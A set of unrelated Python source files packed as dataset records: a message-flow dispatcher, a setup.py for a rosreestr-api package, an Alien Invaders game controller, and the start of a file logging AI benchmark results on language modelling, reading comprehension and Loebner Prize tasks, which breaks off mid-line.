def receive_message(self, flow_record, msg_dict):\n logging.info(\"mbd rece msg=\"+str(msg_dict))\n flow = self.__get_matched_flow_by_message(msg_dict)\n if not flow:\n logging.warning(\"received message not match any flow. message: %s\", msg_dict)\n return\n\n if 'vars' in flow:\n for var in flow['vars']:\n flow_record['variables'][var['var_key']] = \\\n self.__get_value_from_dict_by_dot_separated_keys(var['msg_key'], msg_dict)\n flow_record['received_messages'].append(msg_dict)\n flow_record['finished_flows'].append(flow['name'])\n\n logging.info(\"mbd rece start to send msg\")\n # send messages\n for sm_flow in self.send_message_flows:\n smfn = sm_flow['name']\n if smfn in flow_record['finished_flows']:\n continue\n for dep in self.dependencies:\n if smfn in dep['downstream'] and set(flow_record['finished_flows']).issuperset(set(dep['upstream'])):\n sm_flow_copy = copy.deepcopy(sm_flow)\n self.__send_message(sm_flow_copy, flow_record)\n return flow_record\n\n def __send_message(self, flow, flow_record):\n queue = message_manager.get_queue(flow['queue'], with_new_client=True)\n message_tpl = flow['message'].copy()\n message_to_send = self.__build_message(message_tpl, flow_record['variables'])\n queue.send_message(message_to_send, delay_seconds=flow.get('delayed_seconds', -1))\n flow_record['sent_messages'].append(message_to_send)\n flow_record['finished_flows'].append(flow['name'])\n\n def __build_message(self, message, variables):\n for key, value in message.items():\n if isinstance(value, tuple):\n msg_type = value[0]\n msg_value = value[1]\n if msg_type == \"val\":\n message[key] = msg_value\n elif msg_type == \"var\":\n if msg_value == MBDFlowBuildInVariable.NOW_IN_MILLISECOND:\n message[key] = int(time.time() * 1000)\n else:\n message[key] = variables.get(msg_value, None)\n elif isinstance(value, list):\n for v in value:\n self.__build_message(v, variables)\n else:\n self.__build_message(message[key], variables)\n return message\n\n def __get_matched_flow_by_message(self, msg_dict):\n for flow in self.receive_message_flows:\n if (flow['match'].items() <= msg_dict.items()) or \\\n ('data' in flow['match'] and 'data' in msg_dict and flow['match']['data'].items() <= msg_dict['data'].items()):\n return flow\n return None\n\n @classmethod\n def __get_value_from_dict_by_dot_separated_keys(cls, dot_key, dict_data):\n # dot_key example: a.b.c\n # dict_data example: {'a': {'b': {'c': 1}}}\n keys = dot_key.split('.')\n value = dict_data.copy()\n for k in keys:\n value = value[k]\n return value\n\n\nclass MBDFlowType:\n RECEIVE_MESSAGE = 0 # receive message in, thus \"match\" key is required\n SEND_MESSAGE = 1 # send message out, thus \"queue\" & \"message\" keys are required\n\n\nclass MBDFlowBuildInVariable:\n NOW_IN_MILLISECOND = \"MBD_NOW_IN_MILLISECOND\"\n","repo_name":"ztttttttt/work_file_1","sub_path":"common.flow/mlx_flow/mbd_flow.py","file_name":"mbd_flow.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70619697122","text":"from setuptools import setup, find_packages\n\n\nrequirements = [r.strip() for r in open('requirements.txt').readlines() if '#' not in r]\n\n\nsetup(\n name='rosreestr-api',\n author='Greg Eremeev',\n author_email='gregory.eremeev@gmail.com',\n version='0.3.4',\n license='BSD-3-Clause',\n url='https://github.com/GregEremeev/rosreestr-api',\n install_requires=requirements,\n description='Toolset to work with rosreestr.ru/api',\n packages=find_packages(),\n extras_require={'dev': ['ipdb>=0.13.2', 'pytest>=5.4.1', 'httpretty>=1.0.2']},\n classifiers=[\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: Implementation :: CPython'\n ],\n zip_safe=False,\n include_package_data=True\n)\n","repo_name":"GregEremeev/rosreestr-api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"54"} +{"seq_id":"9215774616","text":"\"\"\"\nPrimary module for Alien Invaders\n\nThis module contains the main controller class for the Alien Invaders app.\nThere is no need for any additional classes in this module. If you need\nmore classes, 99% of the time they belong in either the wave module or the\nmodels module. If you are unsure about where a new class should go, post a\nquestion on Piazza.\n\nDiya Bansal (db688)\nNovember 16, 2021\n\"\"\"\nfrom consts import *\nimport consts\nfrom game2d import *\nfrom wave import *\n\n\n# PRIMARY RULE: Invaders can only access attributes in wave.py via getters/\n# setters\n# Invaders is NOT allowed to access anything in models.py\n\nclass Invaders(GameApp):\n \"\"\"\n The primary controller class for the Alien Invaders application\n\n This class extends GameApp and implements the various methods necessary\n for processing the player inputs and starting/running a game.\n\n Method start begins the application.\n\n Method update either changes the state or updates the Play object\n\n Method draw displays the Play object and any other elements on screen\n\n Because of some of the weird ways that Kivy works, you SHOULD NOT create\n an initializer __init__ for this class. Any initialization should be done\n in the start method instead. This is only for this class. All other\n classes behave normally.\n\n Most of the work handling the game is actually provided in the class Wave.\n Wave should be modeled after subcontrollers.py from lecture, and will\n have its own update and draw method.\n\n The primary purpose of this class is to manage the game state: which is\n when the game started, paused, completed, etc. It keeps track of that in\n an internal (hidden) attribute.\n\n For a complete description of how the states work, see the specification\n for the method update.\n\n Attribute view: the game view, used in drawing\n Invariant: view is an instance of GView (inherited from GameApp)\n\n Attribute input: user input, used to control the ship or resume the game\n Invariant: input is an instance of GInput (inherited from GameApp)\n \"\"\"\n # HIDDEN ATTRIBUTES:\n # Attribute _state: the current state of the game represented as an int\n # Invariant: _state is one of STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE,\n # STATE_PAUSED, STATE_CONTINUE, or STATE_COMPLETE\n #\n # Attribute _wave: the subcontroller for a single wave, managing aliens\n # Invariant: _wave is a Wave object, or None if there is no wave currently\n # active. It is only None if _state is STATE_INACTIVE.\n #\n # Attribute _text: the currently active message\n # Invariant: _text is a GLabel object, or None if there is no message to\n # display. It is onl None if _state is STATE_ACTIVE.\n #\n # You may have new attributes if you wish (you might want an attribute to\n # store any score across multiple waves). But you must document them.\n # LIST MORE ATTRIBUTES (AND THEIR INVARIANTS) HERE IF NECESSARY\n #\n # Attribute _prev_keys: the list of keys being held down in the prev\n # animation frame\n # Invariant: _prev_keys is a possibly empty list of strings\n #\n # Attribute _wave_number: the wave number that the player is currently on\n # Invariant: _wave_number is an int >=1 and <= 3\n #\n # Attribute _text_lives: the text displaying the number of lives left\n # Invariant: _text_lives is a GLabel object\n #\n # Attribute _player_score: the text displaying the player's score\n # Invariant: _player_score is a GLabel object\n #\n # Attribute _total_score: the total score\n # Invariant: _total_score is an int >= 0\n #\n # DO NOT MAKE A NEW INITIALIZER!\n\n # THREE MAIN GAMEAPP METHODS\n def start(self):\n \"\"\"\n Initializes the application.\n\n This method is distinct from the built-in initializer __init__ (which\n you should not override or change). This method is called once the\n game is running. You should use it to initialize any game specific\n attributes.\n\n This method should make sure that all of the attributes satisfy the\n given invariants. When done, it sets the _state to STATE_INACTIVE and\n create a message (in attribute _text) saying that the user should press\n to play a game.\n \"\"\"\n self._state = STATE_INACTIVE\n self._wave = None\n self._prev_keys = []\n self._wave_number = 1\n self._total_score = 0\n self._player_score = GLabel(text = \"Score: 0\", \\\n linecolor = 'black', \\\n font_name = \"Arcade.ttf\", font_size = 40, halign = 'center', \\\n valign = 'middle', left = PSCORE_LEFT, y = PSCORE_Y)\n\n self._text_lives = GLabel(text = \"Lives: 3\", linecolor = 'black', \\\n font_name = \"Arcade.ttf\", font_size = 40, halign = 'center', \\\n valign = 'middle', x = LIVES_TEXT_X, y = LIVES_TEXT_Y)\n\n if (self._state == STATE_INACTIVE):\n self._text = GLabel(text = \"Press 'S' to Play\", \\\n font_name = \"Arcade.ttf\", font_size = 64, halign = 'center', \\\n valign = 'middle', x = self.width/2, y = self.height/2)\n else:\n self._text = None\n\n def update(self,dt):\n \"\"\"\n Animates a single frame in the game.\n\n It is the method that does most of the work. It is NOT in charge of\n playing the game. That is the purpose of the class Wave. The primary\n purpose of this game is to determine the current state, and -- if the\n game is active -- pass the input to the Wave object _wave to play the\n game.\n\n As part of the assignment, you are allowed to add your own states.\n However, at a minimum you must support the following states:\n STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE, STATE_PAUSED,\n STATE_CONTINUE, and STATE_COMPLETE. Each one of these does its own\n thing and might even needs its own helper. We describe these below.\n\n STATE_INACTIVE: This is the state when the application first opens.\n It is a paused state, waiting for the player to start the game. It\n displays a simple message on the screen. The application remains in\n this state so long as the player never presses the S key. In addition,\n this is the state the application returns to when the game is over\n (all lives are lost or all aliens are dead).\n\n STATE_NEWWAVE: This is the state creates a new wave and shows it on\n the screen. The application switches to this state if the state was\n STATE_INACTIVE in the previous frame, and the player pressed the S key.\n This state only lasts one animation frame before switching to\n STATE_ACTIVE.\n\n STATE_ACTIVE: This is a session of normal gameplay. The player can\n move the ship and fire laser bolts. All of this should be handled\n inside of class Wave (NOT in this class). Hence the Wave class\n should have an update() method, just like the subcontroller example\n in lecture.\n\n STATE_PAUSED: Like STATE_INACTIVE, this is a paused state. However,\n the game is still visible on the screen.\n\n STATE_USER_PAUSED: This state is activated when the user pressed 'p'\n and temporarily freezes the gameplay. The user can return to active\n state by pressing 's'.\n\n STATE_CONTINUE: This state restores the ship after it was destroyed.\n The application switches to this state if the state was STATE_PAUSED\n in the previous frame, and the player pressed a key. This state only\n lasts one animation frame before switching to STATE_ACTIVE.\n\n STATE_COMPLETE: The wave is over, and is either won or lost.\n\n You are allowed to add more states if you wish. Should you do so, you\n should describe them here.\n\n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n if (self._state == STATE_INACTIVE):\n self._executeStateInactive()\n\n if (self._state == STATE_NEWWAVE):\n self._executeStateNewWave()\n\n if (self._state == STATE_ACTIVE):\n self._executeStateActive(dt, self.view)\n\n if (self._state == STATE_PAUSED):\n self._executeStatePaused()\n\n if (self._state == STATE_USER_PAUSED):\n self._executeStateUserPaused()\n\n if (self._state == STATE_CONTINUE):\n self._executeStateContinue()\n\n if (self._state == STATE_COMPLETE):\n self._executeStateComplete()\n\n self._prev_keys = self.input.keys\n\n def draw(self):\n \"\"\"\n Draws the game objects to the view.\n\n Every single thing you want to draw in this game is a GObject. To\n draw a GObject g, simply use the method g.draw(self.view). It is\n that easy!\n\n Many of the GObjects (such as the ships, aliens, and bolts) are\n attributes in Wave. In order to draw them, you either need to add\n getters for these attributes or you need to add a draw method to\n class Wave. We suggest the latter. See the example subcontroller.py\n from class.\n \"\"\"\n if (self._state == STATE_ACTIVE or self._state == STATE_PAUSED or \\\n self._state == STATE_CONTINUE or self._state == STATE_USER_PAUSED):\n self._wave.draw(self.view)\n self._text_lives.draw(self.view)\n self._player_score.draw(self.view)\n\n if (not self._text == None):\n self._text.draw(self.view)\n\n # HELPER METHODS FOR THE STATES GO HERE\n\n def _executeStateComplete(self):\n \"\"\"\n This method displays the messages appropriate for when the game is\n over. It also stores the wave's total score in an attribute _total_score\n \"\"\"\n\n if (self._wave.getGameWon() == True):\n self._wave_number = self._wave_number + 1\n\n if (self._wave_number > 3):\n score = self._total_score + self._wave.getScore()\n self._text = GLabel(text = \\\n \"Congratulations!\\nYou Won!\\nYour Score: \" + \\\n str(score), \\\n font_name = \"Arcade.ttf\", font_size = 64, halign = 'center', \\\n valign = 'middle', x = self.width/2, y = self.height/2)\n else:\n self._total_score = self._total_score + self._wave.getScore()\n self._wave = Wave(self._wave_number, \\\n lives = self._wave.getLives())\n self._state = STATE_ACTIVE\n\n elif (self._wave.getGameWon() == False):\n score = self._total_score + self._wave.getScore()\n self._text = GLabel(text = \\\n \"GAME OVER\\nYour Score: \" + str(score), \\\n font_name = \"Arcade.ttf\", font_size = 64, halign = 'center', \\\n valign = 'middle', x = self.width/2, y = self.height/2)\n\n def _executeStateActive(self, dt, view):\n \"\"\"\n This method executes the update method of wave and displays the total\n score. It also changes the state to STATE_USER_PAUSED, STATE_PAUSED or\n STATE_COMPLETE if any of the conditions for these states are met.\n\n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n\n Parameter view: the game view, used in drawing\n Precondition: view is an instance of GView (inherited from GameApp)\n \"\"\"\n self._wave.update(self.input, dt, self._prev_keys, view)\n score = self._total_score + self._wave.getScore()\n self._player_score.text = 'Score: '+str(score)\n\n curr_keys = self.input.keys\n\n # Only change if we have just pressed S this animation frame\n change = 'p' in curr_keys and not 'p' in self._prev_keys\n\n if (change):\n self._state = STATE_USER_PAUSED\n\n if (self._wave.isShipDestroyed()):\n self._state = STATE_PAUSED\n\n if (self._wave.getGameWon() == True or \\\n self._wave.getGameWon() == False):\n self._state = STATE_COMPLETE\n\n def _executeStateContinue(self):\n \"\"\"\n This method displays the message 'Press 'S' to Continue' and creates a\n new ship when the user presses 's' to continue as well as changes the\n state to active.\n \"\"\"\n self._text = GLabel(text = \"Press 'S' to Continue\", \\\n font_name = \"Arcade.ttf\", font_size = 64, halign = 'center', \\\n valign = 'middle', x = self.width/2, y = self.height/2)\n\n curr_keys = self.input.keys\n\n # Only change if we have just pressed S this animation frame\n change = 's' in curr_keys and not 's' in self._prev_keys\n\n if (change):\n # Click happened. Change the state\n self._state = STATE_ACTIVE\n self._text = None\n self._wave.setShip()\n\n def _executeStateUserPaused(self):\n \"\"\"\n This method displays the message 'Press 'S' to Unpause' and when the\n user presses 's' to continue, changes the\n state to active.\n \"\"\"\n self._text = GLabel(text = \"Press 'S' to Unpause\", \\\n font_name = \"Arcade.ttf\", font_size = 64, halign = 'center', \\\n valign = 'middle', x = self.width/2, y = self.height/2)\n\n curr_keys = self.input.keys\n\n # Only change if we have just pressed S this animation frame\n change = 's' in curr_keys and not 's' in self._prev_keys\n\n if (change):\n # Click happened. Change the state\n self._state = STATE_ACTIVE\n self._text = None\n\n def _executeStateNewWave(self):\n \"\"\"\n This method creates a new wave and then changes the state of the\n animation frame to STATE_ACTIVE\n \"\"\"\n self._wave = Wave()\n self._state = STATE_ACTIVE\n\n def _executeStatePaused(self):\n \"\"\"\n This method checks if the player has any lives left and accordingly\n either continues or ends the game.\n \"\"\"\n if (self._wave.getLives() > 0):\n\n self._wave.setLives()\n self._text_lives = GLabel(text = \"Lives: \" + \\\n str(self._wave.getLives()), \\\n font_name = \"Arcade.ttf\", font_size = 40, halign = 'center', \\\n valign = 'middle', x = LIVES_TEXT_X, y = LIVES_TEXT_Y)\n self._state = STATE_CONTINUE\n\n elif (self._wave.getLives() == 0):\n\n self._state = STATE_COMPLETE\n self._wave.setGameWon(False)\n\n def _executeStateInactive(self):\n \"\"\"\n This method checks for a key press of 'S', and if there is one,\n changes the state to STATE_NEWWAVE. A key press is when a key is\n pressed for the FIRST TIME. We do not want the state to continue to\n change as we hold down the key. The user must release the key and press\n it again to change the state.\n \"\"\"\n # Determine the keys currently being pressed down\n curr_keys = self.input.keys\n\n # Only change if we have just pressed S this animation frame\n change = 's' in curr_keys and not 's' in self._prev_keys\n\n if change and self._state == STATE_INACTIVE:\n # Click happened. Change the state\n self._state = STATE_NEWWAVE\n self._text = None\n\n # Update _prev_keys\n self._prev_keys = curr_keys\n","repo_name":"dabsgts1/AlienInvaders","sub_path":"invaders/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30676301467","text":"# -*- coding: utf-8 -*-\n\"Hand-entered data about written language problems\"\nfrom taxonomy import Problem\nfrom scales import *\nimport datetime\ndate = datetime.date\n\nmodelling_english = Problem(\"Accurate modelling of human language.\", [\"language\", \"agi\"])\nptperplexity = modelling_english.metric(name=\"Penn Treebank (Perplexity when parsing English sentences)\", scale=perplexity)\nptperplexity.measure(date(2016,9,26), 70.9, \"Pointer Sentinel-LSTM\", \"https://arxiv.org/pdf/1609.07843v1.pdf\")\nptperplexity.measure(date(2016,10,5), 73.4, \"Variational LSTM\", \"https://arxiv.org/pdf/1512.05287v5.pdf\")\nptperplexity.measure(date(2013,12,20), 107.5, \"Deep RNN\", \"https://arxiv.org/abs/1312.6026\")\nptperplexity.measure(date(2012,4,7), 78.8, \"KN5+RNNME ensemble\", \"http://www.fit.vutbr.cz/~imikolov/rnnlm/google.pdf\")\nptperplexity.measure(date(2012,4,7), 125.7, \"KN5+cache baseline\", \"http://www.fit.vutbr.cz/~imikolov/rnnlm/google.pdf\")\n\nptperplexity.measure(date(2012,7,27), 124.7, \"RNNLM\", \"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/07/rnn_ctxt_TR.sav_.pdf\")\nptperplexity.measure(date(2012,7,27), 74.1, \"RNN-LDA+all\", \"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/07/rnn_ctxt_TR.sav_.pdf\")\nptperplexity.measure(date(2012,7,27), 113.7, \"RNN-LDA LM\", \"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/07/rnn_ctxt_TR.sav_.pdf\")\nptperplexity.measure(date(2012,7,27), 92.0, \"RNN-LDA LM+KN5+cache\", \"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/07/rnn_ctxt_TR.sav_.pdf\")\nptperplexity.measure(date(2012,7,27), 80.1, \"RNN-LDA ensemble\", \"https://www.microsoft.com/en-us/research/wp-content/uploads/2012/07/rnn_ctxt_TR.sav_.pdf\")\nptperplexity.measure(None, 68.7, \"RNN Dropout Regularization\", \"https://arxiv.org/abs/1409.2329v1\")\nptperplexity.measure(None, 68.5, \"RHN\", \"https://arxiv.org/pdf/1607.03474v3\")\nptperplexity.measure(None, 66, \"RHN+WT\", \"https://arxiv.org/pdf/1607.03474v3\")\nptperplexity.measure(None, 71.3, \"RHN\", \"https://arxiv.org/abs/1607.03474v2\")\nptperplexity.measure(None, 65.4, \"RHN+WT\", \"https://arxiv.org/abs/1607.03474v4\")\nptperplexity.measure(None, 62.4, \"Neural Architecture Search\", url=\"https://arxiv.org/abs/1611.01578v2\", venue=\"ICLR 2017\")\n\nptperplexity.measure(None, 55.8, \"ENAS\", url=\"https://arxiv.org/pdf/1802.03268.pdf\")\nptperplexity.measure(None, 47.67, \"AWD-LSTM-MOS+de\", url=\"https://arxiv.org/pdf/1711.03953v4.pdf\")\nptperplexity.measure(None, 46.54, \"FRAGE\", url=\"https://arxiv.org/pdf/1809.06858.pdf\")\n\nptperplexity.measure(date(2019,2,14), 35.76, \"GPT2 (zero shot)\", not_directly_comparable=True, url=\"https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf\", papername=\"Language Models are Unsupervised Multitask Learners\")\n\nptperplexity.measure(date(2020,7,22), 20.5, \"GPT3 (zero shot)\", not_directly_comparable=True, url=\"https://arxiv.org/pdf/2005.14165.pdf\", papername=\"Language Models are Few-Shot Learners\")\n\n\nhp_compression = modelling_english.metric(name=\"Hutter Prize (bits per character to encode English text)\", scale=bits_per_x, \n target=1.3, target_label=\"Region of human performance\",\n target_source=\"http://languagelog.ldc.upenn.edu/myl/Shannon1950.pdf\")\nhp_compression.measure(date(2016,10,31), 1.313, \"Surprisal-Driven Zoneout\",\n \"https://pdfs.semanticscholar.org/e9bc/83f9ff502bec9cffb750468f76fdfcf5dd05.pdf\")\nhp_compression.measure(date(2016,10,19), 1.37, \"Surprisal-Driven Feedback RNN\",\n \"https://arxiv.org/pdf/1608.06027.pdf\")\nhp_compression.measure(date(2016,9,27), 1.39, \"Hypernetworks\", \"https://arxiv.org/abs/1609.09106\")\nhp_compression.measure(date(2016,9,6), 1.32, \" Hierarchical Multiscale RNN\", \"https://arxiv.org/abs/1609.01704\")\nhp_compression.measure(date(2016,7,12), 1.32, \"Recurrent Highway Networks\", \"https://arxiv.org/abs/1607.03474\")\nhp_compression.measure(date(2015,7,6), 1.47, \"Grid LSTM\", \"https://arxiv.org/abs/1507.01526\")\nhp_compression.measure(date(2015,2,15), 1.58, \"Gated Feedback RNN\", \"https://arxiv.org/abs/1502.02367\")\n# we need to match/double check the release date of the specific version of cmix that got this performance?\n# hp_compression.measure(date(2014,4,13), 1.245, \"cmix\", \"http://www.byronknoll.com/cmix.html\")\nhp_compression.measure(date(2013,8,4), 1.67, \"RNN, LSTM\", \"https://arxiv.org/abs/1308.0850\")\nhp_compression.measure(date(2011,6,28), 1.60, \"RNN\", \"http://www.cs.utoronto.ca/~ilya/pubs/2011/LANG-RNN.pdf\")\n\nhp_compression.measure(None, 1.42, \"RHN\", \"https://arxiv.org/abs/1607.03474v2\")\nhp_compression.measure(None, 1.27, \"Large RHN depth 10\", \"https://arxiv.org/abs/1607.03474v4\")\n\nlambada = modelling_english.metric(\"LAMBADA prediction of words in discourse\", url=\"https://arxiv.org/abs/1606.06031\",\n scale=correct_percent, target=86, target_source=\"https://arxiv.org/abs/1610.08431v3\")\nlambada.measure(None, 21.7, \"Stanford Reader\", url=\"https://arxiv.org/abs/1610.08431v3\", algorithm_src_url=\"https://arxiv.org/abs/1606.02858\")\nlambada.measure(None, 32.1, \"Modified Stanford\", url=\"https://arxiv.org/abs/1610.08431v3\", algorithm_src_url=\"https://arxiv.org/abs/1606.02858\")\nlambada.measure(None, 49.0, \"GA + feat.\", url=\"https://arxiv.org/abs/1610.08431v3\", algorithm_src_url=\"https://arxiv.org/abs/1606.01549v2\")\nlambada.measure(None, 44.5, \"AS + feat.\", url=\"https://arxiv.org/abs/1610.08431v3\", algorithm_src_url=\"https://arxiv.org/abs/1603.01547\")\nlambada.measure(None, 51.6, \"GA+MAGE (48)\", url=\"https://arxiv.org/abs/1703.02620v1\")\nlambada.measure(None, 51.6, \"GA+MAGE (48)\", url=\"https://arxiv.org/abs/1703.02620v1\")\nlambada.measure(None, 60.22, \"AttSum-Feat+L1\", url=\"https://arxiv.org/abs/1810.02891\")\n\nlambada.measure(date(2020,2,13), 68, \"T-NLG\", papername=\"Turing-NLG: A 17-billion-parameter language model by Microsoft\", url=\"https://www.microsoft.com/en-us/research/blog/turing-nlg-a-17-billion-parameter-language-model-by-microsoft/\")\n\nlambada.measure(date(2020,7,22), 76.2, \"GPT3 zero shot\", not_directly_comparable=True, url=\"https://arxiv.org/pdf/2005.14165.pdf\", papername=\"Language Models are Few-Shot Learners\")\nlambada.measure(date(2020,7,22), 72.5, \"GPT3 one shot\", not_directly_comparable=True, url=\"https://arxiv.org/pdf/2005.14165.pdf\", papername=\"Language Models are Few-Shot Learners\")\nlambada.measure(date(2020,7,22), 86.4, 'GPT3 few shot', not_directly_comparable=True, url=\"https://arxiv.org/pdf/2005.14165.pdf\", papername=\"Language Models are Few-Shot Learners\")\n\nlambada.measure(date(2019,2,14), 63.4, \"GPT2 (zero shot)\", not_directly_comparable=True, url=\"https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf\", papername=\"Language Models are Unsupervised Multitask Learners\") \n\nlambada.measure(None, 66.5, \"Megatron-LM (zero shot)\", not_directly_comparable=True, url=\"https://arxiv.org/abs/1909.08053v2\")\n\nturing_test = Problem(\"Conduct arbitrary sustained, probing conversation\", [\"agi\", \"language\", \"world-modelling\", \"communication\"])\neasy_turing_test = Problem(\"Turing test for casual conversation\", [\"agi\", \"language\", \"world-modelling\", \"communication\"])\nturing_test.add_subproblem(easy_turing_test)\n\nloebner = easy_turing_test.metric(\"The Loebner Prize scored selection answers\", url=\"http://www.aisb.org.uk/events/loebner-prize\", \n scale=correct_percent, changeable=True, target=100, target_label=\"Completely plausible answers\",\n axis_label='Percentage of answers rated plausible\\n(each year is a different test)')\n# XXX humans probably don't get 100% on the Loebner Prize selection questions; we should ask the organizers to score\n# some humans\n\n\nloebner.notes = \"\"\"\nThe Loebner Prize is an actual enactment of the Turing Test. Importantly, judges are instructed to engage in casual, natural\nconversation rather than deliberately probing to determine if participants are \"intelligent\" (Brian Christian, The Most Human Human).\nThis makes it considerably easier than a probing Turing Test, and it is close to being solved. \n\nHowever these aren't scores for the full Loebner Turing Test; since 2014 the Loebner prize has scored its entrants by\ngiving them a corpus of conversation and scoring their answers. We use these numbers because they remove variability\nin the behaviour of the judges. Unfortunately, these questions change from year to year (and have to, since \nentrants will test with last year's data).\n\"\"\"\nloebner.measure(date(2016,9,17), 90, \"Mitsuku 2016\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results16\")\nloebner.measure(date(2016,9,17), 78.3, \"Tutor 2016\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results16\")\nloebner.measure(date(2016,9,17), 77.5, \"Rose 2016\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results16\")\nloebner.measure(date(2016,9,17), 77.5, \"Arckon 2016\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results16\")\nloebner.measure(date(2016,9,17), 76.7, \"Katie 2016\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results16\")\n\nloebner.measure(date(2015,9,19), 83.3, \"Mitsuku 2015\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results15\")\nloebner.measure(date(2015,9,19), 80, \"Lisa 2015\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results15\")\nloebner.measure(date(2015,9,19), 76.7, \"Izar 2015\", url=\"http://www.aisb.org.uk/events/loebner-prize#Results15\")\nloebner.measure(date(2015,9,19), 75, \"Rose 2015\",url=\"http://www.aisb.org.uk/events/loebner-prize#Results15\")\n\nloebner.measure(date(2014,11,15), 89.2, \"Rose 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\nloebner.measure(date(2014,11,15), 88.3, \"Izar 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\nloebner.measure(date(2014,11,15), 88.3, \"Misuku 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\nloebner.measure(date(2014,11,15), 81.67, \"Uberbot 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\nloebner.measure(date(2014,11,15), 80.83, \"Tutor 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\nloebner.measure(date(2014,11,15), 76.7, \"The Professor 2014\", url=\"http://www.aisb.org.uk/events/loebner-prize#contest2014\")\n\nreading_comprehension = Problem(\"Language comprehension and question-answering\", [\"language\", \"world-modelling\", \"agi\"])\nturing_test.add_subproblem(reading_comprehension)\n\n# Overview of Machine Reading Comprehension (MRC) datasets here:\n# http://eric-yuan.me/compare-popular-mrc-datasets/\n\nbAbi10k = reading_comprehension.metric(\"bAbi 20 QA (10k training examples)\", url=\"http://fb.ai/babi\", scale=correct_percent, target=99, target_label=\"Excellent performance\")\nbAbi1k = reading_comprehension.metric(\"bAbi 20 QA (1k training examples)\", url=\"http://fb.ai/babi\", scale=correct_percent, target=99, target_label=\"Excellent performance\")\n\nbAbi1k.notes = \"\"\"\nA synthetic environment inspired by text adventures and SHRDLU, which enables generation\nof ground truths, describing sentences, and inferential questions. Includes:\nsupporting facts, relations, yes/no questions, counting, lists/sets, negation, indefiniteness,\nconference, conjunction, time, basic deduction and induction, reasoning about position, size,\npath finding and motivation.\n\nTable 3 of https://arxiv.org/abs/1502.05698 actually breaks this down into 20 submeasures\nbut initially we're lumping all of this together.\n\nOriginally \"solving\" bABI was defined as 95% accuracy (or perhaps) 95% accuracy on all submeasures,\nbut clearly humans and now algorithms are better than that.\n\nTODO: bAbi really needs to be decomposed into semi-supervised and unsupervised variants, and \nby amount of training data provided\n\"\"\"\nbAbi10k.measure(date(2015,2,19), 93.3, \"MemNN-AM+NG+NL (1k + strong supervision)\", \"https://arxiv.org/abs/1502.05698v1\", \n not_directly_comparable=True, long_label=True, offset=(2,5)) # not literally a 10K example, but more comparable to it\n\n#bAbi1k.measure(None, 48.7, \"LSTM\", \"https://arxiv.org/abs/1502.05698v1\", algorithm_src_url=\"http://isle.illinois.edu/sst/meetings/2015/hochreiter-lstm.pdf\", min_date=date(1997,11,15))\nbAbi1k.measure(date(2015,3,31), 86.1, \"MemN2N-PE+LS+RN\", \"https://arxiv.org/abs/1503.08895\")\nbAbi10k.measure(date(2015,3,31), 93.4, \"MemN2N-PE+LS+RN\", \"https://arxiv.org/abs/1503.08895\")\nbAbi1k.measure(date(2015,6,24), 93.6, \"DMN\", \"https://arxiv.org/abs/1506.07285\", offset=(3,-2), not_directly_comparable=True) # The paper doesn't say if this is 1k or 10k\nbAbi10k.measure(date(2016,1,5), 96.2, \"DNC\", \"https://www.gwern.net/docs/2016-graves.pdf\")\n\nbAbi10k.measure(date(2016,9,27), 97.1, \"SDNC\", \"https://arxiv.org/abs/1606.04582v4\")\nbAbi10k.measure(date(2016,12,12), 99.5, \"EntNet\", \"https://arxiv.org/abs/1612.03969\")\nbAbi1k.measure(date(2016,12,12), 89.1, \"EntNet\", \"https://arxiv.org/abs/1612.03969\")\n\nbAbi10k.measure(date(2016,12,9), 99.7, \"QRN\", \"https://arxiv.org/abs/1606.04582v4\", offset=(2,3))\nbAbi1k.measure(date(2016,12,9), 90.1, \"QRN\", \"https://arxiv.org/abs/1606.04582v4\")\nbAbi1k.measure(None, 66.8, \"DMN+\", \"https://arxiv.org/abs/1606.04582v4\", algorithm_src_url=\"https://arxiv.org/abs/1607.00036\", replicated=\"https://github.com/therne/dmn-tensorflow\")\nbAbi10k.measure(date(2016,6,30), 97.2, \"DMN+\", \"https://arxiv.org/abs/1607.00036\")\n\nbAbi1k.measure(None, 91.3, \"GA+MAGE (16)\", url=\"https://arxiv.org/abs/1703.02620v1\")\n# More papers:\n# https://www.aclweb.org/anthology/D/D13/D13-1020.pdf\n\n\nmctest160 = reading_comprehension.metric(\"Reading comprehension MCTest-160-all\", scale=correct_percent, url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2016/11/MCTest_EMNLP2013.pdf\")\nmctest160.measure(date(2013, 10, 1), 69.16, \"SW+D+RTE\", url=\"https://www.microsoft.com/en-us/research/wp-content/uploads/2016/11/MCTest_EMNLP2013.pdf\", papername=\"MCTest: A Challenge Dataset for the Open-Domain Machine Comprehension of 